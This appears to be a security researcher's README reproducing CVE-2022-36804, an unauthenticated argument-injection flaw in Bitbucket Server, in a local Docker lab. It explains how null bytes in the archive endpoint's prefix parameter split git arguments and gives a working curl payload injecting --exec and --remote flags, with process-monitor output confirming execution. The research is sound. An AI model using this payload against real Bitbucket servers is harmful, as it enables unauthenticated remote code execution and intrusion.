
调查 CVE-2022-36804
Воссоздание уязвимости удаленного выполнения кода, где Bitbucket не санирует пользовательский ввод, что позволяет злоумышленникам внедрять флаги Git и выполнять код удаленно.
В этом репозитории описано, как я воспроизвел уязвимость CVE-2022-36804 – проблему с внедрением аргументов до аутентификации в Bitbucket Server. Цель состояла в демонстрации основной проблемы безопасности, как описано в публичном отчете Assetnote. Все тесты проводились в изолированной локальной среде.
CVE-2022-36804 вызвана тем, что Bitbucket передает пользовательский ввод напрямую в подпроцесс git archive без санитации нулевых байтов. Поскольку Bitbucket использует NuProcess для запуска git, нулевые байты сохраняются и вызывают разделение аргументов. Это позволяет злоумышленнику внедрить дополнительные флаги git в команду. В уязвимых версиях (например, 7.21.0, используемая в данной настройке) это приводит к удаленному выполнению кода без аутентификации.
Эта уязвимость удаленного выполнения кода до аутентификации возникает в конечной точке /archive, которая отвечает за создание архивов репозиториев с помощью функции git archive. Bitbucket передает параметр prefix напрямую в подпроцесс git, но без санитации нулевых байтов. Поскольку git реализован на C, нулевой байт завершает строку раньше времени. Все, что находится после нулевого байта, интерпретируется как отдельный аргумент командной строки. Это позволяет злоумышленнику внедрять произвольные флаги git в команду.
Это работает, потому что Bitbucket использует NuProcess, который сохраняет нулевые байты, а не удаляет их. В результате Git получает необработанный ввод точно в том виде, в котором он предоставлен пользователем. Поскольку git рассматривает нулевые байты как терминаторы строк, значение prefix разделяется на несколько аргументов при передаче в подпроцесс git. Это позволяет протащить дополнительные флаги git после нулевого байта. В сочетании с флагами --exec и --remote такое внедрение аргументов напрямую ведет к удаленному выполнению кода в уязвимых версиях Bitbucket Server.
TEST/demo)Для запуска среды:
docker compose up -d
Проверка версии:
cat /opt/atlassian/bitbucket/VERSION
Ключ к этой CVE – показать, что нулевой байт в параметре prefix заставляет Bitbucket передавать несколько аргументов в git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Оставьте pspy запущенным.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
Это проверяет, вызывает ли нулевой байт разделение аргументов.
В pspy Bitbucket генерирует:
/usr/bin/git archive --format=zip --prefix=test canary/ --
Здесь test и canary отображаются как отдельные аргументы, а не один. %00 разделил ввод, и Bitbucket вынужден передать их как независимые аргументы в git.
Изображение ниже показывает pspy, работающий внутри Docker-контейнера Bitbucket, который перехватывает /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). То, что было отправлено как одно значение – test%00canary – передается как два отдельных аргумента. Нулевой байт разделил ввод, что протаскивает дополнительный аргумент в команду git.

Внедряя --exec=touch /tmp/pwned и --remote=file:///... через нулевые байты, сервер выполняет произвольную команду. Несмотря на то, что git завершается с кодом 128, команда выполняется до того, как git выдает ошибку, и /tmp/pwned создается внутри контейнера.
Payload:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
Изображение ниже показывает, как pspy перехватывает полную цепочку выполнения – /usr/bin/git archive запускается с аргументами --exec и --remote (PID=74412), порождая /bin/sh touch /tmp/pwned (PID=74413)

С помощью docker exec -it bitbucket ls -la /tmp/pwned удалось проверить, что файл был создан.
Это показано на изображении ниже.

Johan - Стокгольм, Швеция